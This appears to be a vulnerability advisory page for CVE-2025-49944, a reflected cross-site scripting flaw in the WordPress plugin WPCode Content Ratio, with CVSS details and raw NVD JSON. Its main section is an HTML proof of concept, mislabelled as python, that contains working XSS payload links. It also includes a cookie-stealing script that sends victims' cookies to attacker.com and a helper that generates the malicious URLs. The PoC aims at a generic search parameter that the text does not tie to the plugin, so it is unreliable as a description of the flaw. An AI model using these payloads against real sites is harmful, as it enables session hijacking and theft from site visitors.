Security Vulnerability Report
中文
CVE-2025-49944 CVSS 7.1 HIGH

CVE-2025-49944

Published: 2025-10-22 15:15:41
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jonatan Jumbert WPCode Content Ratio wpcode-content-ratio allows Reflected XSS.This issue affects WPCode Content Ratio: from n/a through <= 2.0.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WPCode Content Ratio <= 2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-49944 PoC - Reflected XSS in WPCode Content Ratio Plugin --> <!-- Target: WordPress site with WPCode Content Ratio plugin <= 2.0 --> <!-- Attack Vector: Inject malicious JavaScript via URL parameter --> <!DOCTYPE html> <html> <head> <title>CVE-2025-49944 PoC</title> </head> <body> <h2>CVE-2025-49944 - WPCode Content Ratio XSS PoC</h2> <p>Click the malicious link below to test the vulnerability:</p> <!-- Malicious URL with XSS payload --> <a href='http://target-wordpress-site.com/?s="><script>alert("XSS Vulnerable - CVE-2025-49944")</script>' target='_blank'> Malicious Link (Payload: Reflected XSS via search parameter) </a> <br><br> <!-- Alternative payload using event handler --> <a href="http://target-wordpress-site.com/?s=\"><img src=x onerror=alert('XSS-CVE-2025-49944')>" target='_blank'> Alternative Payload (Image onerror handler) </a> <br><br> <h3>Attack Scenarios:</h3> <ul> <li>1. Steal session cookies: document.location='http://attacker.com/steal?c='+document.cookie</li> <li>2. Redirect user to malicious site</li> <li>3. Perform actions on behalf of the user</li> <li>4. Inject fake login forms for phishing</li> </ul> <script> // Simulate the vulnerable URL generation function generateXSSURL(targetURL, payload) { return targetURL + '?s=">' + encodeURIComponent(payload); } // Example: Generate malicious URL var target = 'http://victim-site.com'; var xssPayload = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>'; var maliciousURL = generateXSSURL(target, xssPayload); console.log('Malicious URL:', maliciousURL); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49944", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:40.570", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jonatan Jumbert WPCode Content Ratio wpcode-content-ratio allows Reflected XSS.This issue affects WPCode Content Ratio: from n/a through <= 2.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpcode-content-ratio/vulnerability/wordpress-wpcode-content-ratio-plugin-2-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}